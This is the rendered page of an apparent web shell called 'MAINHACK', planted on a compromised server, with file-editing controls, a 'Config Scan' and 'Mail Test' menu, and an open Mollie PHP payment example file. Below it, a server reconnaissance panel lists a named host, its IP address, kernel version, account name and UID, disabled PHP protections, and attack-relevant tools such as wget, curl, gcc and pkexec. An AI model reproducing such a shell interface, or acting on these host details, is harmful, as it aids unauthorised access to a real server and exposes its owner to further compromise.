[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: create-payment-oauth.php
<?php /* * Example 10 - Using OAuth access token to prepare a new payment. */ try { /* * Initialize the Mollie API library with your OAuth access token. */ require "../initialize_with_oauth.php"; /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST'] ? : "my.app"; $path = dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']); /* * Since unlike an API key the OAuth access token does NOT belong to a profile, we need to retrieve a profile * so we can specify the profileId-parameter when creating a payment below. */ $profiles = $mollie->profiles->page(); $profile = reset($profiles); /** * Paramaters for creating a payment via oAuth * * @See https://docs.mollie.com/reference/v2/payments-api/create-payment */ $payment = $mollie->payments->create([ "amount" => [ "value" => "10.00", "currency" => "EUR", ], "description" => "My first API payment", "redirectUrl" => "{$protocol}://{$hostname}{$path}/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}{$path}/webhook.php", "metadata" => [ "order_id" => $orderId, ], "profileId" => $profile->id, // This is specifically necessary for payment resources via OAuth access. ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ if (PHP_SAPI === "cli") { echo "Redirect to: " . $payment->getCheckoutUrl() . PHP_EOL; return; } header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002